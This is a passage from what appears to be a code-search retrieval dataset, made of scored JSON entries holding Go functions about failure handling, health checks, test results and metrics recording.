checkElapsedTime})\n\t}\n\n\t// 2 possible status codes\n\t// 1. PassedOverall=true - all checks have passed successfully\n\t// 2. PassedOverall=false - At least one check failed or an error occurred in one of the checks\n\tif len(e.results.Errors) > 0 || len(e.results.Failed) > 0 {\n\t\te.results.PassedOverall = false\n\t} else {\n\t\te.results.PassedOverall = true\n\t}\n\n\tif e.Bundle {\n\t\tmd5sum, err := containerutil.DeprecatedGenerateBundleHash(podmanEngine, e.Image)\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"could not generate bundle hash\")\n\t\t}\n\t\te.results.BundleHash = md5sum\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "16ac67c9ac044926b884fc63d7c89b59", "score": "0.48280764", "text": "func (ts *TestSuite) AddSuccess(name string, time time.Time, logs string) {\n\tts.addTest(name, time, logs, nil)\n}", "title": "" }, { "docid": "b3fbd6aab76b51c24581fd181f783ee6", "score": "0.48176152", "text": "func (a *Actions) AddOnFailure(actions ...*Action) {\n\tif len(a.OnFailure) == 0 {\n\t\ta.OnFailure = make([]*Action, 0)\n\t}\n\tfor i := range actions {\n\t\ta.OnFailure = append(a.OnFailure, actions[i])\n\t}\n}", "title": "" }, { "docid": "938700a092c73a85bfd4dfc79f20778a", "score": "0.48135233", "text": "func (s *Sequence) OnFailure(err error) {\n\ts.executor.OnFailure(err)\n\tif s.failHandler != nil {\n\t\ts.failHandler(err)\n\t}\n}", "title": "" }, { "docid": "625bf98fadefdd7d1137376cce890bb6", "score": "0.48109278", "text": "func (b *ConsoleQuickStartTaskSummaryApplyConfiguration) WithFailed(value string) *ConsoleQuickStartTaskSummaryApplyConfiguration {\n\tb.Failed = &value\n\treturn b\n}", "title": "" }, { "docid": "7388fece362cda5b27ef4d425343c947", "score": "0.4789937", "text": "func (e *Handler) Failure(fail *mesos_v1_scheduler.Event_Failure) {\n\tif fail != nil {\n\t\te.logger.Emit(logging.ERROR, \"Executor %s failed with status %d\", fail.GetExecutorId().GetValue(), fail.GetStatus())\n\t} else {\n\t\te.logger.Emit(logging.ERROR, \"Recieved an nil failure message!\")\n\t}\n}", "title": "" }, { "docid": "6aa299cdd07324f1002cf8335a3db13a", "score": "0.47849602", "text": "func (j *Job) OnFailureRun(cmd string, args ...string) *Job {\n\tj.begin(j.ctx, fmt.Sprintf(\"OnFailureRun(%s %v)\",\n\t\tcmd, args))\n\treturn j.OnFailureRunT(drmaa2interface.JobTemplate{RemoteCommand: cmd, Args: args})\n}", "title": "" }, { "docid": "7cf0b684cecf4cdfa0d9fa30add006b8", "score": "0.47815588", "text": "func OnFailure(handler func()) {\n\tassert.OnFailure(handler)\n}", "title": "" }, { "docid": "501e15260ef83b212e4b439c52e7985a", "score": "0.4773465", "text": "func (output Output) Failure(test TestCase, err string) {\n\tfmt.Println(aurora.Red(fmt.Sprintf(\"\\t✖ %s\", test.Name())))\n\tfmt.Println(aurora.Red(fmt.Sprintf(\"\\t\\t- %s\", err)))\n}", "title": "" }, { "docid": "7c8ae5cc0eeff44116a955574c5aff4a", "score": "0.47557583", "text": "func (o *VirtualizationIweHostAllOf) SetFailureReason(v string) {\n\to.FailureReason = &v\n}", "title": "" }, { "docid": "63ffbe66bdd59087f7820fb8943cc23a", "score": "0.47462833", "text": "func (w *StandardWriter) WriteFailure(wrappedEvent *InternalWrappedEvent) error {\n\tif !w.matcherStatus {\n\t\treturn nil\n\t}\n\tif len(wrappedEvent.Results) > 0 {\n\t\terrs := []error{}\n\t\tfor _, result := range wrappedEvent.Results {\n\t\t\tresult.MatcherStatus = false // just in case\n\t\t\tif err := w.Write(result); err != nil {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\t\t}\n\t\tif len(errs) > 0 {\n\t\t\treturn multierr.Combine(errs...)\n\t\t}\n\t\treturn nil\n\t}\n\t// if no results were found, manually create a failure event\n\tevent := wrappedEvent.InternalEvent\n\n\ttemplatePath, templateURL := utils.TemplatePathURL(types.ToString(event[\"template-path\"]))\n\tvar templateInfo model.Info\n\tif event[\"template-info\"] != nil {\n\t\ttemplateInfo = event[\"template-info\"].(model.Info)\n\t}\n\tdata := &ResultEvent{\n\t\tTemplate: templatePath,\n\t\tTemplateURL: templateURL,\n\t\tTemplateID: types.ToString(event[\"template-id\"]),\n\t\tTemplatePath: types.ToString(event[\"template-path\"]),\n\t\tInfo: templateInfo,\n\t\tType: types.ToString(event[\"type\"]),\n\t\tHost: types.ToString(event[\"host\"]),\n\t\tRequest: types.ToString(event[\"request\"]),\n\t\tResponse: types.ToString(event[\"response\"]),\n\t\tMatcherStatus: false,\n\t\tTimestamp: time.Now(),\n\t}\n\treturn w.Write(data)\n}", "title": "" }, { "docid": "3636706151184369c3e7a514402b0ca9", "score": "0.4740763", "text": "func ExitFailure(error string, code int) {\n\tfmt.Fprintln(os.Stderr, error)\n\tos.Exit(code)\n}", "title": "" }, { "docid": "28fc717466d412e03039314504f219b0", "score": "0.4730793", "text": "func WithFailures(a xmetrics.Adder) InstrumentOption {\n\treturn func(io *instrumentOptions) {\n\t\tif a != nil {\n\t\t\tio.failures = a\n\t\t} else {\n\t\t\tio.failures = discard.NewCounter()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "65f4b09bb16d99b38db8cdbb926f44f6", "score": "0.47197765", "text": "func ExecutionTimeout(d time.Duration) CheckOption {\n\treturn executionTimeout(d)\n}", "title": "" }, { "docid": "827bdf8f735518fcfe5a4734ae444085", "score": "0.4711199", "text": "func (m *EnrollmentTroubleshootingEvent) SetFailureReason(value *string)() {\n m.failureReason = value\n}", "title": "" }, { "docid": "37b055fe3673898b1014c955d98ad182", "score": "0.47093463", "text": "func checkAdd(t *testing.T, result string) {\n\tcaller := &FuncCaller{\n\t\tMethod: \"decrypt\",\n\t\tArgs: result,\n\t\tSvn: 0,\n\t\tAddress: user,\n\t}\n\tcaller, err := caller.Sign(getPrivateKey())\n\tmust(t, err)\n\tdata, err := json.Marshal(caller)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// call tee to decrypt the result\n\tnewPlainRaw := wrap_call_function(t, \"xchaintf\", string(data))\n\n\t// decrypted data is in base64 format, decoding required\n\tbyteData, _ := base64.StdEncoding.DecodeString(newPlainRaw[outputKey])\n\t// verify whether the decrypted value is equal to 25+12=37\n\tif string(byteData) != sum {\n\t\tt.Fatalf(\"wrong result, %s \\n!= %s\", string(byteData), sum)\n\t}\n}", "title": "" }, { "docid": "b2e0899d824a1b7d4813adc16526aa0d", "score": "0.46891025", "text": "func (am *AgentMetrics) RecordFailure(log *base.LogObject, errcode types.CipherError) {\n\trelease := am.acquire(log)\n\tdefer release()\n\tlog.Functionf(\"RecordFailure(%s, %v)\", am.metrics.AgentName, errcode)\n\tif errcode != types.NoData {\n\t\tam.metrics.FailureCount++\n\t\tam.metrics.LastFailure = time.Now()\n\t}\n\tam.metrics.TypeCounters[errcode]++\n}", "title": "" }, { "docid": "5d4c65e8185e1b55036af27cffaf17f0", "score": "0.46844912", "text": "func AttemptFailureDetectionRegistration(analysisEntry *inst.ReplicationAnalysis) (bool, error) {\n\n\tdb, err := db.OpenOrchestrator()\n\tif err != nil {\n\t\treturn false, log.Errore(err)\n\t}\n\n\tsqlResult, err := sqlutils.Exec(db, `\n\t\t\tinsert ignore \n\t\t\t\tinto topology_failure_detection (\n\t\t\t\t\thostname, \n\t\t\t\t\tport, \n\t\t\t\t\tin_active_period, \n\t\t\t\t\tstart_active_period, \n\t\t\t\t\tend_active_period_unixtime, \n\t\t\t\t\tprocessing_node_hostname, \n\t\t\t\t\tprocesscing_node_token,\n\t\t\t\t\tanalysis,\n\t\t\t\t\tcluster_name,\n\t\t\t\t\tcluster_alias,\n\t\t\t\t\tcount_affected_slaves,\n\t\t\t\t\tslave_hosts\n\t\t\t\t) values (\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t1,\n\t\t\t\t\tNOW(),\n\t\t\t\t\t0,\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t?,\n\t\t\t\t\t?\n\t\t\t\t)\n\t\t\t`, analysisEntry.AnalyzedInstanceKey.Hostname, analysisEntry.AnalyzedInstanceKey.Port, process.ThisHostname, process.ProcessToken.Hash,\n\t\tstring(analysisEntry.Analysis), analysisEntry.ClusterDetails.ClusterName, analysisEntry.ClusterDetails.ClusterAlias, analysisEntry.CountSlaves, analysisEntry.SlaveHosts.ToCommaDelimitedList(),\n\t)\n\tif err != nil {\n\t\treturn false, log.Errore(err)\n\t}\n\trows, err := sqlResult.RowsAffected()\n\treturn (err == nil && rows > 0), err\n}", "title": "" }, { "docid": "e219f5d34ad019ae995abb59e06fe0f3", "score": "0.46827748", "text": "func (in *FailureDetails) DeepCopy() *FailureDetails {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(FailureDetails)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "dffbf5d70e83687e64aaabf0278184a5", "score": "0.4671313", "text": "func executeCheck(ctx context.Context, check Check) CheckStatus {\n\treturn CheckStatus{\n\t\tStatus: check.Func(ctx),\n\t\tTimestamp: time.Now(),\n\t}\n}", "title": "" }, { "docid": "421632e8a8c3891c31161a4a2d1a6836", "score": "0.4661035", "text": "func (t *test) SetTestFailed() error {\n\n\tstmtUpdate, err := t.db.Prepare(\"UPDATE tests SET status = 3, ts_finished = NOW() WHERE idTests = ?\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tstmtUpdate.Exec(t.LatestTestID)\n\n\treturn nil\n}", "title": "" }, { "docid": "b5f0d7b54ace4ec933ccfa1927a399f5", "score": "0.46560743", "text": "func expectFailure(ctx context.Context, checkoutDir, label, config, define string) error {\n\tstep := fmt.Sprintf(\"Expect building %s with %s to fail\", label, define)\n\treturn td.Do(ctx, td.Props(step), func(ctx context.Context) error {\n\t\trunCmd := &sk_exec.Command{\n\t\t\tName: \"bazelisk\",\n\t\t\tArgs: append([]string{\"build\",\n\t\t\t\tlabel,\n\t\t\t\t\"--config=\" + config, // Should be defined in //bazel/buildrc\n\t\t\t\t\"--copt=-D\" + define + \"=1\",\n\t\t\t}),\n\t\t\tInheritEnv: true, // Makes sure bazelisk is on PATH\n\t\t\tDir: checkoutDir,\n\t\t\tLogStdout: true,\n\t\t\tLogStderr: true,\n\t\t}\n\t\t_, err := sk_exec.RunCommand(ctx, runCmd)\n\t\tif err == nil {\n\t\t\treturn fmt.Errorf(\"Expected a failure but didn't get one.\")\n\t\t}\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "78ad9fe2ad68a553d168a78d9d2f2b87", "score": "0.46546313", "text": "func addFailingTest(ctx context.Context, client *firestore.Client, message kymapubsub.FailingTestMessage, jobID *string) (*firestore.DocumentRef, error) {\n\t// TODO: create struct to represent failing test document\n\tfailingTest := map[string]interface{}{\n\t\t// jobName is a failed prowjob name\n\t\t\"jobName\": *message.JobName,\n\t\t// jobType is a failed prowjob type\n\t\t\"jobType\": *message.JobType,\n\t\t// open indicate if this failure instance is currently active or it's already closed\n\t\t\"open\": true,\n\t\t// githubIssueNumber holds Github issue number created for this failure instance\n\t\t\"githubIssueNumber\": nil,\n\t\t// baseSha holds sha for which postsubmit prowjob was run.\n\t\t\"baseSha\": message.Refs[0].BaseSHA,\n\t\t// failures holds a map with all reported failures of prowjob for which this failure instance was created and active.\n\t\t// Entries in a map are a prowjob execution IDs.\n\t\t\"failures\": map[string]interface{}{\n\t\t\t*jobID: map[string]interface{}{\n\t\t\t\t\"url\": *message.URL, \"gcsPath\": *message.GcsPath, \"refs\": message.Refs,\n\t\t\t},\n\t\t},\n\t}\n\tif message.GithubIssueNumber != nil {\n\t\t// githubIssueNumber holds Github issue number created for this failure instance\n\t\tfailingTest[\"githubIssueNumber\"] = *message.GithubIssueNumber\n\t}\n\n\t// Add document to firestore collection\n\tdoc, _, err := client.Collection(firestoreCollection).Add(ctx, failingTest)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"colud not add failing test instance to firestore collection, error: %w\", err)\n\t}\n\treturn doc, nil\n}", "title": "" }, { "docid": "3df1046eb200c6861e162831b144e9fe", "score": "0.46492594", "text": "func (s *BatchGrantPermissionsOutput) SetFailures(v []*BatchPermissionsFailureEntry) *BatchGrantPermissionsOutput {\n\ts.Failures = v\n\treturn s\n}", "title": "" }, { "docid": "e4aab91fc6790fca32cdfdeaaa46e84c", "score": "0.46415645", "text": "func (f *FailureType) Wrap(err error, message ...string) *Failure {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tif len(message) > 0 {\n\t\terr = fmt.Errorf(\"%s: %v\", err, strings.Join(message, \": \"))\n\t}\n\tlogging.Debug(\"Failure '%s' wrapped: %v\", f.Name, err)\n\tfail := f.New(err.Error())\n\tfail.err = err\n\treturn fail\n}", "title": "" }, { "docid": "bab17ac4f4ac708e29454f8b6cc54fbd", "score": "0.46401283", "text": "func CreateFailureMockExecutor() MockShellExecutor {\n\treturn MockShellExecutor{\n\t\tsuccess: false,\n\t}\n}", "title": "" }, { "docid": "50f957efb236a2b2892f422d36a297fe", "score": "0.46267104", "text": "func (e *EventLog) AppendCheck(\n\tassumedVersion uint64,\n\tevent EventData,\n) (\n\tversion uint64,\n\ttm time.Time,\n\terr error,\n) {\n\tif err = event.Validate(); err != nil {\n\t\treturn\n\t}\n\tevent.PayloadJSON = jsonminify.Minify(event.PayloadJSON)\n\n\tif version, tm, err = e.impl.AppendCheck(\n\t\tassumedVersion,\n\t\tevent,\n\t); err != nil {\n\t\treturn\n\t}\n\n\te.broadcast.Broadcast(version)\n\treturn\n}", "title": "" }, { "docid": "97335954515f0ec52592aa1c50194acf", "score": "0.46156624", "text": "func (r *Run) findFailures() {\n\toldFailedTests := r.FailedTests\n\tr.FailedTests = nil\n\texcludeParents := map[string]struct{}{}\n\tignored := 0\n\tfor _, matches := range failRe.FindAllSubmatch(r.output, -1) {\n\t\tfailedTest := string(matches[1])\n\t\t// Skip any ignored failures\n\t\tif _, found := r.Ignore[failedTest]; found {\n\t\t\tignored++\n\t\t} else {\n\t\t\tr.FailedTests = append(r.FailedTests, failedTest)\n\t\t}\n\t\t// Find all the parents of this test\n\t\tparts := strings.Split(failedTest, \"/\")\n\t\tfor i := len(parts) - 1; i >= 1; i-- {\n\t\t\texcludeParents[strings.Join(parts[:i], \"/\")] = struct{}{}\n\t\t}\n\t}\n\t// Exclude the parents\n\tvar newTests = r.FailedTests[:0]\n\tfor _, failedTest := range r.FailedTests {\n\t\tif _, excluded := excludeParents[failedTest]; !excluded {\n\t\t\tnewTests = append(newTests, failedTest)\n\t\t}\n\t}\n\tr.FailedTests = newTests\n\tif len(r.FailedTests) == 0 && ignored > 0 {\n\t\tlog.Printf(\"%q - Found %d ignored errors only - marking as good\", r.CmdString, ignored)\n\t\tr.err = nil\n\t\tr.dumpOutput()\n\t\treturn\n\t}\n\tif len(r.FailedTests) != 0 {\n\t\tr.RunFlag = testsToRegexp(r.FailedTests)\n\t} else {\n\t\tr.RunFlag = \"\"\n\t}\n\tif r.passed() && len(r.FailedTests) != 0 {\n\t\tlog.Printf(\"%q - Expecting no errors but got: %v\", r.CmdString, r.FailedTests)\n\t\tr.dumpOutput()\n\t} else if !r.passed() && len(r.FailedTests) == 0 {\n\t\tlog.Printf(\"%q - Expecting errors but got none: %v\", r.CmdString, r.FailedTests)\n\t\tr.dumpOutput()\n\t\tr.FailedTests = oldFailedTests\n\t}\n}", "title": "" }, { "docid": "b195c3b07f1b08af33216a4dc74155b7", "score": "0.46144453", "text": "func (mr *MockEngineMockRecorder) AddSpeculativeWorkflowTaskTimeoutTask(task interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AddSpeculativeWorkflowTaskTimeoutTask\", reflect.TypeOf((*MockEngine)(nil).AddSpeculativeWorkflowTaskTimeoutTask), task)\n}", "title": "" }, { "docid": "d8f0feb2c44bd51b1587dff28959609d", "score": "0.46092477", "text": "func AddingLogFailed(err error) error {\n\treturn status.Errorf(codes.Internal, \"failed to add new log to ledger: %v\", err)\n}", "title": "" }, { "docid": "0427979c4ccb87059fa059e484698d33", "score": "0.46064952", "text": "func (j *Job) OnFailure(f func(job drmaa2interface.Job)) *Job {\n\tj.begin(j.ctx, fmt.Sprintf(\"OnFailure(%s)\",\n\t\truntime.FuncForPC(reflect.ValueOf(f).Pointer()).Name()),\n\t)\n\tif waitForJobEndAndState(j) != drmaa2interface.Done {\n\t\tj.infof(j.ctx, \"OnFailure(%s): Previous task failed. Executing function.\",\n\t\t\truntime.FuncForPC(reflect.ValueOf(f).Pointer()).Name())\n\t\tj.Then(f)\n\t}\n\treturn j\n}", "title": "" }, { "docid": "a1176970b7cd7941aa02ddd231b937be", "score": "0.4600003", "text": "func (s *GenericAPIServer) AddLivezChecks(delay time.Duration, checks ...healthz.HealthChecker) error {\n\ts.livezLock.Lock()\n\tdefer s.livezLock.Unlock()\n\tif s.livezChecksInstalled {\n\t\treturn fmt.Errorf(\"unable to add because the livez endpoint has already been created\")\n\t}\n\tfor _, check := range checks {\n\t\ts.livezChecks = append(s.livezChecks, delayedHealthCheck(check, s.livezClock, delay))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4bbcb3f4dd58e7675faced178d6a3c8b", "score": "0.45964968", "text": "func (c *LogTracer) Failure(correlationId string, component string, operation string, err error, duration int64) {\n\tc.logTrace(correlationId, component, operation, err, duration)\n}", "title": "" }, { "docid": "9b7f6e11f4c5a8708f58c090f871831d", "score": "0.4595761", "text": "func (am *AgentMetrics) RecordFailure(log *base.LogObject, ifname, url string, reqLen, respLen int64, authenFail bool) {\n\trelease := am.acquire(log)\n\tdefer release()\n\tlog.Tracef(\"RecordFailure(%s, %s, %d, %d, %t)\",\n\t\tifname, url, reqLen, respLen, authenFail)\n\tm := am.getInterfaceMetrics(ifname)\n\n\t// if we have authen verify failure, the network part is success\n\tif authenFail {\n\t\tm.AuthFailCount++\n\t} else {\n\t\tm.FailureCount++\n\t\tm.LastFailure = time.Now()\n\n\t\tvar u types.UrlcloudMetrics\n\t\tvar ok bool\n\t\tif u, ok = m.URLCounters[url]; !ok {\n\t\t\tu = types.UrlcloudMetrics{}\n\t\t}\n\t\tu.TryMsgCount++\n\t\tu.TryByteCount += reqLen\n\t\tif respLen != 0 {\n\t\t\tu.RecvMsgCount++\n\t\t\tu.RecvByteCount += respLen\n\t\t}\n\t\tm.URLCounters[url] = u\n\t}\n\tam.metrics[ifname] = m\n}", "title": "" }, { "docid": "d99f6d798db8fa4841d32552774fbce7", "score": "0.45689088", "text": "func (i *invariantManager) RunChecks(\n\tctx context.Context,\n\texecution interface{},\n) ManagerCheckResult {\n\tresult := ManagerCheckResult{\n\t\tCheckResultType: CheckResultTypeHealthy,\n\t\tDeterminingInvariantType: nil,\n\t\tCheckResults: nil,\n\t}\n\tfor _, iv := range i.invariants {\n\t\tcheckResult := iv.Check(ctx, execution)\n\t\tresult.CheckResults = append(result.CheckResults, checkResult)\n\t\tcheckResultType, updated := i.nextCheckResultType(result.CheckResultType, checkResult.CheckResultType)\n\t\tresult.CheckResultType = checkResultType\n\t\tif updated {\n\t\t\tresult.DeterminingInvariantType = &checkResult.InvariantName\n\t\t}\n\t}\n\treturn result\n}", "title": "" }, { "docid": "9e1e4b4e655a3d98255c7f57c563da38", "score": "0.4559346", "text": "func SaveNodeFailure(node *Node) {\n\taddr := node.Address\n\n\tif !isCoordinator {\n\t\thandleErrorFatal(\"Not a network node function.\", InvalidPermissionsError(LocalAddr.String()))\n\t}\n\tallFailures.Lock()\n\tif node, ok := allFailures.nodes[addr.String()]; ok {\n\t\tnode.reporters[LocalAddr.String()] = true\n\t\tallFailures.Unlock()\n\t} else {\n\t\treporters := make(map[string]bool)\n\t\treporters[LocalAddr.String()] = true\n\t\tallFailures.nodes[addr.String()] = &FailedNode{\n\t\t\ttimestamp: time.Now().UnixNano(),\n\t\t\taddress: addr,\n\t\t\treporters: reporters,\n\t\t}\n\t\tallFailures.Unlock()\n\t\tgo DetectFailure(addr, allFailures.nodes[addr.String()].timestamp)\n\t}\n\n}", "title": "" }, { "docid": "5909fb4da30a2d7b3579213ebe3d032e", "score": "0.45518208", "text": "func (in *TiDBFailureMember) DeepCopy() *TiDBFailureMember {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TiDBFailureMember)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5fa2bf25e28f72eb3e93b22e1bbe2a41", "score": "0.45486033", "text": "func (b *planBuilder) AddChecksPhase(plan *storage.OperationPlan) {\n\tplan.Phases = append(plan.Phases, storage.OperationPhase{\n\t\tID: ChecksPhase,\n\t\tDescription: \"Execute pre-flight checks on the joining node\",\n\t\tData: &storage.OperationPhaseData{\n\t\t\tServer: &b.JoiningNode,\n\t\t\tMaster: &b.Master,\n\t\t},\n\t\tRequires: fsm.RequireIfPresent(*plan,\n\t\t\tinstallphases.BootstrapSELinuxPhase,\n\t\t\tinstallphases.InitPhase,\n\t\t\tStartAgentPhase),\n\t})\n}", "title": "" }, { "docid": "7a6f6db1c9712a5fbe6fe0030759ef97", "score": "0.45457223", "text": "func (n *Node) addTask(lastSerialNode, rootNode *Node) {\n\n\tartifacts := []argov1.Artifact{\n\t\t{\n\t\t\tName: \"kubeconfigs\",\n\t\t\tFrom: fmt.Sprintf(\"{{tasks.%s.outputs.artifacts.kubeconfigs}}\", lastSerialNode.Task.Name),\n\t\t},\n\t}\n\n\tif n.TestDefinition.Location.Type() != tmv1beta1.LocationTypeLocal {\n\t\tartifacts = append(artifacts, argov1.Artifact{\n\t\t\tName: \"repo\",\n\t\t\tFrom: fmt.Sprintf(\"{{tasks.%s.outputs.artifacts.%s}}\", rootNode.Name(), n.TestDefinition.Location.Name()),\n\t\t})\n\t}\n\n\ttask := argo.CreateTask(n.TestDefinition.Template.Name, n.TestDefinition.Template.Name, testmachinery.PHASE_RUNNING, n.GetParentNames(), artifacts)\n\n\tswitch n.step.Condition {\n\tcase tmv1beta1.ConditionTypeSuccess:\n\t\ttask.When = fmt.Sprintf(\"{{workflow.status}} == Succeeded\")\n\tcase tmv1beta1.ConditionTypeError:\n\t\ttask.When = fmt.Sprintf(\"{{workflow.status}} != Succeeded\")\n\t}\n\n\tn.Task = task\n}", "title": "" }, { "docid": "8f242a946195543f760fc1008b29750d", "score": "0.45364133", "text": "func (e *Executor) AddLogEntry(line string) {\n\te.ExecutionLog = append(e.ExecutionLog, line)\n\tif e.logListener != nil {\n\t\te.logListener(line)\n\t}\n}", "title": "" }, { "docid": "96435a3756b6247e043deaa7a7f02453", "score": "0.45268348", "text": "func (r *Registry) AddTestInstance(t *TestInstance) error {\n\tt = t.clone()\n\tif _, ok := r.testNames[t.Name]; ok {\n\t\treturn fmt.Errorf(\"test %q already registered\", t.Name)\n\t}\n\t// Ensure equality of preconditions with the same name.\n\tif t.Pre != nil {\n\t\tname := t.Pre.String()\n\t\tif pre, ok := r.allPres[name]; !ok {\n\t\t\tr.allPres[name] = t.Pre\n\t\t} else if pre != t.Pre {\n\t\t\treturn fmt.Errorf(\"precondition %s has multiple instances\", name)\n\t\t}\n\t}\n\tr.allTests = append(r.allTests, t)\n\tr.testNames[t.Name] = struct{}{}\n\treturn nil\n}", "title": "" }, { "docid": "af4736235b9aa5d88a89bd63f0bc09d4", "score": "0.4513886", "text": "func (hc *HealthCheck) AddAndGetCheck(name string, checker Checker) (check *Check, err error) {\n\tcheck, err = NewCheck(name, checker)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcheck.state.changeCallback = hc.healthChangeCallback\n\n\thc.Checks = append(hc.Checks, check)\n\n\tticker := createTicker(hc.interval, check)\n\thc.tickers = append(hc.tickers, ticker)\n\n\tif hc.context != nil {\n\t\tticker.start(hc.context, hc.tickersWaitgroup)\n\t}\n\n\treturn check, nil\n}", "title": "" }, { "docid": "31430979e7083be00f9d9c6d4d69d8ae", "score": "0.4513449", "text": "func (r *ormTestsResults) summarizeFailed(\n\tt *test,\n\tormName, blocklistName string,\n\texpectedFailures blocklist,\n\tversion, latestTag string,\n\tnotRunCount int,\n) {\n\tvar bResults strings.Builder\n\tfmt.Fprintf(&bResults, \"Tests run on Cockroach %s\\n\", version)\n\tfmt.Fprintf(&bResults, \"Tests run against %s %s\\n\", ormName, latestTag)\n\ttotalTestsRun := r.passExpectedCount + r.passUnexpectedCount + r.failExpectedCount + r.failUnexpectedCount\n\tfmt.Fprintf(&bResults, \"%d Total Tests Run\\n\",\n\t\ttotalTestsRun,\n\t)\n\tif totalTestsRun == 0 {\n\t\tt.Fatal(\"No tests ran! Fix the testing commands.\")\n\t}\n\n\tp := func(msg string, count int) {\n\t\ttestString := \"tests\"\n\t\tif count == 1 {\n\t\t\ttestString = \"test\"\n\t\t}\n\t\tfmt.Fprintf(&bResults, \"%d %s %s\\n\", count, testString, msg)\n\t}\n\tp(\"passed\", r.passUnexpectedCount+r.passExpectedCount)\n\tp(\"failed\", r.failUnexpectedCount+r.failExpectedCount)\n\tp(\"skipped\", r.skipCount)\n\tp(\"ignored\", r.ignoredCount)\n\tp(\"passed unexpectedly\", r.passUnexpectedCount)\n\tp(\"failed unexpectedly\", r.failUnexpectedCount)\n\tp(\"expected failed but skipped\", r.unexpectedSkipCount)\n\tp(\"expected failed but not run\", notRunCount)\n\n\tfmt.Fprintf(&bResults, \"---\\n\")\n\tfor _, result := range r.results {\n\t\tif strings.Contains(result, \"unexpected\") {\n\t\t\tfmt.Fprintf(&bResults, \"%s\\n\", result)\n\t\t}\n\t}\n\n\tfmt.Fprintf(&bResults, \"For a full summary look at the %s artifacts \\n\", ormName)\n\tt.l.Printf(\"%s\\n\", bResults.String())\n\tt.l.Printf(\"------------------------\\n\")\n\n\tif r.failUnexpectedCount > 0 || r.passUnexpectedCount > 0 ||\n\t\tnotRunCount > 0 || r.unexpectedSkipCount > 0 {\n\t\t// Create a new blocklist so we can easily update this test.\n\t\tsort.Strings(r.currentFailures)\n\t\tvar b strings.Builder\n\t\tfmt.Fprintf(&b, \"Here is new %s blocklist that can be used to update the test:\\n\\n\", ormName)\n\t\tfmt.Fprintf(&b, \"var %s = blocklist{\\n\", blocklistName)\n\t\tfor _, test := range r.currentFailures {\n\t\t\tissue := expectedFailures[test]\n\t\t\tif len(issue) == 0 || issue == \"unknown\" {\n\t\t\t\tissue = r.allIssueHints[test]\n\t\t\t}\n\t\t\tif len(issue) == 0 {\n\t\t\t\tissue = \"unknown\"\n\t\t\t}\n\t\t\tfmt.Fprintf(&b, \" \\\"%s\\\": \\\"%s\\\",\\n\", test, issue)\n\t\t}\n\t\tfmt.Fprintf(&b, \"}\\n\\n\")\n\t\tt.l.Printf(\"\\n\\n%s\\n\\n\", b.String())\n\t\tt.l.Printf(\"------------------------\\n\")\n\t\tt.Fatalf(\"\\n%s\\nAn updated blocklist (%s) is available in the artifacts' %s log\\n\",\n\t\t\tbResults.String(),\n\t\t\tblocklistName,\n\t\t\tormName,\n\t\t)\n\t}\n}", "title": "" }, { "docid": "7c498da1bb0ce0d8b77be5c17ed8ad78", "score": "0.4512815", "text": "func (j *Job) OnFailureRunT(jt drmaa2interface.JobTemplate) *Job {\n\tj.begin(j.ctx, \"OnFailureRunT()\")\n\tif waitForJobEndAndState(j) != drmaa2interface.Done {\n\t\tj.RunT(jt)\n\t}\n\treturn j\n}", "title": "" }, { "docid": "94dcd433a28415ed0f8d8ea75ca5fe5e", "score": "0.45089558", "text": "func (s *PutAuditEventsOutput) SetFailed(v []*ResultErrorEntry) *PutAuditEventsOutput {\n\ts.Failed = v\n\treturn s\n}", "title": "" }, { "docid": "22e4c202d1c59050d7ab87f467a3f003", "score": "0.45072782", "text": "func failedToStart(c context.Context, build *ui.MiloBuildLegacy, res *swarming.SwarmingRpcsTaskResult, host string) error {\n\tbuild.Summary.Status = milostatus.InfraFailure\n\tstarted, err := time.Parse(SwarmingTimeLayout, res.StartedTs)\n\tif err != nil {\n\t\treturn err\n\t}\n\tended, err := time.Parse(SwarmingTimeLayout, res.CompletedTs)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbuild.Summary.ExecutionTime = ui.NewInterval(c, started, ended)\n\tinfoComp := infoComponent(milostatus.InfraFailure,\n\t\t\"LogDog stream not found\", \"Job likely failed to start.\")\n\tinfoComp.ExecutionTime = build.Summary.ExecutionTime\n\tbuild.Components = append(build.Components, infoComp)\n\treturn addTaskToBuild(c, host, res, build)\n}", "title": "" }, { "docid": "86bc5f3bd1c7dff1b4607d19a11755a5", "score": "0.44969895", "text": "func (s *RemoveLFTagsFromResourceOutput) SetFailures(v []*LFTagError) *RemoveLFTagsFromResourceOutput {\n\ts.Failures = v\n\treturn s\n}", "title": "" }, { "docid": "98797fbb6a698699b633a61f9eb0f5cc", "score": "0.4495645", "text": "func newScriptCheck(allocID, taskName, checkID string, check *structs.ServiceCheck,\n\texec driver.ScriptExecutor, agent heartbeater, logger *log.Logger,\n\tshutdownCh <-chan struct{}) *scriptCheck {\n\n\treturn &scriptCheck{\n\t\tallocID: allocID,\n\t\ttaskName: taskName,\n\t\tid: checkID,\n\t\tcheck: check,\n\t\texec: exec,\n\t\tagent: agent,\n\t\tlastCheckOk: true, // start logging on first failure\n\t\tlogger: logger,\n\t\tshutdownCh: shutdownCh,\n\t}\n}", "title": "" }, { "docid": "1c5de3757b4bfc0b53343eb45f1e3961", "score": "0.44922718", "text": "func ExecCheck(res sql.Result, err error) error {\n\tif my, bad := Check(err, \"exec failure\"); bad {\n\t\treturn my\n\t}\n\taff, err := 